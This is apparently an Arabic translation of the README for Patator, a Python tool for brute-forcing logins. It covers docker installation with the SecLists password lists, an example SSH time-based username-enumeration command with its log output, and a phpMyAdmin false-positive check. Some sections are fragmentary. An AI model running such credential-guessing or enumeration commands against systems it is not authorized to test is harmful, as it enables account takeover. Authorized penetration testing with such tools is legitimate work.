
باتاتور هي أداة تخمين متعددة الأغراض، بتصميم معياري واستخدام مرن.
تمت كتابة Patator بدافع الإحباط من استخدام Hydra و Medusa و Ncrack ووحدات Metasploit وسكربتات Nmap NSE في هجمات تخمين كلمات المرور. اخترت نهجًا مختلفًا لكي لا أنشئ أداة أخرى للقصف العنيف ولأتجنب تكرار نفس القصور. Patator أداة متعددة الخيوط مكتوبة بلغة Python، وتسعى إلى أن تكون أكثر موثوقية ومرونة من أسلافها.
حاليًا تدعم الوحدات التالية:```
اسم "Patator" مأخوذ من [هذا](https://www.youtube.com/watch?v=9sF9fTALhVA).
Patator ليس صديقًا لمستخدمي script-kiddie، يرجى قراءة ما يلي، [DeepWiki](https://deepwiki.com/lanjelot/patator) و[الويكي](https://github.com/lanjelot/patator/wiki) قبل الإبلاغ.
يرجى التبرع إذا أعجبك هذا المشروع! :)
<div align="center">
| PayPal | Bitcoin |
| -------- | ------- |
| [](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SB36VJH4EM5WG&lc=AU&item_name=lanjelot&item_number=patator¤cy_code=AUD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)| [](https://raw.githubusercontent.com/lanjelot/patator/master/donate/bitcoin-address.txt) |
</div>
شكرًا جزيلًا! [@lanjelot](https://twitter.com/lanjelot)
## التثبيت```
git clone https://github.com/lanjelot/patator.git
git clone https://github.com/danielmiessler/SecLists.git
docker build -t patator patator/
docker run -it --rm -v $PWD/SecLists/Passwords:/mnt patator dummy_test data=FILE0 0=/mnt/richelieu-french-top5000.txt
تم اختباره ضد `vsftpd-3.0.2-9` على `CentOS 7.0-1406`.
* SSH : تعداد المستخدمين المستند إلى الوقت```
$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3
17:45:20 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT
17:45:20 patator INFO -
17:45:20 patator INFO - code size time | candidate | num | mesg
17:45:20 patator INFO - -----------------------------------------------------------------------------
17:45:30 patator FAIL - xxx 41 10.001 | root | 1 | <class '__main__.TimeoutError'> timed out
17:45:34 patator FAIL - xxx 41 10.000 | john | 23 | <class '__main__.TimeoutError'> timed out
17:45:37 patator FAIL - xxx 41 10.000 | joe | 40 | <class '__main__.TimeoutError'> timed out
...
تم اختباره ضد openssh-server 1:6.0p1-4+deb7u2 على Debian 7.8.
كانت نتيجة Payload #72 إيجابية كاذبة بسبب رسالة خطأ غير متوقعة:```
$ grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt
... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
تم اختباره ضد phpMyAdmin 4.2.7.1.